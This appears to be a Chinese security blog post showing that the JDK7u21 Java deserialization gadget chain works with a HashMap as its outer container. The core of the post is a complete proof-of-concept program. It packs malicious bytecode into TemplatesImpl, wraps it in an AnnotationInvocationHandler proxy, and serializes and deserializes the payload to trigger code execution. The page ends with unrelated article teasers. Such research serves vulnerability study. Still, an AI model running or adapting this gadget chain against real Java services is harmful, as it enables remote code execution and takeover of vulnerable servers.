JDK7u21 HashMap版

devtools/2024/9/24 6:34:57/

今天在搞ROME HotSwappableTargetSource链的时候突然发现,JDK7U21反序列化链不仅HashMap.put触发了key.equals

image-20240910204239313

putForCreate也调用了

image-20240923223431476

而且HashMap.readObject直接调用了putForCreate来还原

image-20240923223524583

what?直接向HashMap两个put不就完了,还搞什么HashSet

开弄!

java">package org.exploit.misc;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.shiro.crypto.hash.Hash;import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;public class JDK7u21_HashMap {public static void main(String[] args) throws Exception {byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\RuntimeEvil.class"));TemplatesImpl templatesClass = new TemplatesImpl();Field[] fields = templatesClass.getClass().getDeclaredFields();for (Field field : fields) {field.setAccessible(true);if (field.getName().equals("_bytecodes")) {field.set(templatesClass, new byte[][]{code1});} else if (field.getName().equals("_name")) {field.set(templatesClass, "godown");} else if (field.getName().equals("_tfactory")) {field.set(templatesClass, new TransformerFactoryImpl());}}Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);HashMap Annovar2map = new HashMap();Annovar2map.put("f5a5a608",templatesClass);InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, Annovar2map);Field typeField = annotationInvocationHandler.getClass().getDeclaredField("type");typeField.setAccessible(true);Map annoProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);HashMap annoset = new HashMap();annoset.put(annoProxy,"godown");annoset.put(templatesClass,"godown");typeField.set(annotationInvocationHandler, Templates.class);serialize(annoset);unserialize("ser.bin");}public static void serialize(Object obj) throws Exception{java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);oos.writeObject(obj);oos.close();}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{java.io.FileInputStream fis = new java.io.FileInputStream(Filename);java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);Object obj = ois.readObject();ois.close();return obj;}
}

所以JDK7u21最外层,用HashMap,HashSet,LinkedHashSet都是可以的

image-20240923225801055


http://www.ppmy.cn/devtools/116373.html

相关文章

鸿蒙​​​​​​保障应用开发安全的技术措施

应用开发安全是指在开发过程中嵌入安全能力,使应用程序从源头上安全可靠。 开发者是应用程序的创作者,合法的开发者是创作出安全、可靠应用的前提条件;为了保证应用开发者身份真实可信,鸿蒙通过开发者证书对应用进行签名,保证应用…

MySQL增删面试题

哈喽,各位小伙伴们,你们好呀,我是喵手。运营社区:C站/掘金/腾讯云/阿里云/华为云/51CTO;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点,并以文字的形式跟大家一起交流,互…

深度学习:(七)梯度下降法在神经网络中的应用

梯度下降法在神经网络中的应用 事先规定: 用 n n n 表示个数(维度): n [ 0 ] n x n^{[0]}n_x n[0]nx​ ,表示单个训练样本 x x x 的元素个数; n [ 1 ] n^{[1]} n[1] 表示隐藏层 1 1 1 的单元(节点&am…

甩锅笔记:好好的服务端应用突然起不来,经定位是无法访问外网了?测试又说没改网络配置,该如何定位?

在工作中、团队协作时,可能遇到的问题,如集成测试等场景。但是作为偏前端的全栈,锅从天上来,不是你想甩就能甩,尤其面对测试等比较强势的团体(bug创造者),你必须有强大的心理承受能力…

Flask-JWT-Extended登录验证, 不用自定义

"""安装:pip install Flask-JWT-Extended创建对象 初始化与app绑定jwt JWTManager(app) # 初始化JWTManager设置 Cookie 的选项:除了设置 cookie 的名称和值之外,你还可以指定其他的选项,例如:过期时间 (max_age)&#xff1…

DANN GRL

域自适应是指在目标域与源域的数据分布不同但任务相同下的迁移学习,从而将模型在源域上的良好性能迁移到目标域上,极大地缓解目标域标签缺失严重导致模型性能受损的问题。 介绍一篇经典工作 DANN : 模型结构 在训练阶段需要预测如下两个任务…

流行的微前端框架有哪些,适应场景是什么

以下是一些流行的微前端框架,各自的适用场景 1. Single-SPA 适用场景: 适用于需要将大型应用拆分为多个小型、独立应用的场景。支持多种框架的集成。 GitHub地址: Single-SPA Star数量: 约6.8k 2. qiankun 适用场景&#x…

统信服务器操作系统【qcow2 镜像空间扩容】方案

使用 qcow2 镜像安装系统,当默认安装系统存储空间不够用时,进行自定义扩容 文章目录 准备环境扩容步骤一、检查环境信息1.查看镜像信息2.查看镜像分区信息3.确认需要扩容的分区名二、扩容1.备份镜像2.创建新的镜像文件,并指定空间3.将系统扩容到新的镜像三、扩容 lvm 分区四…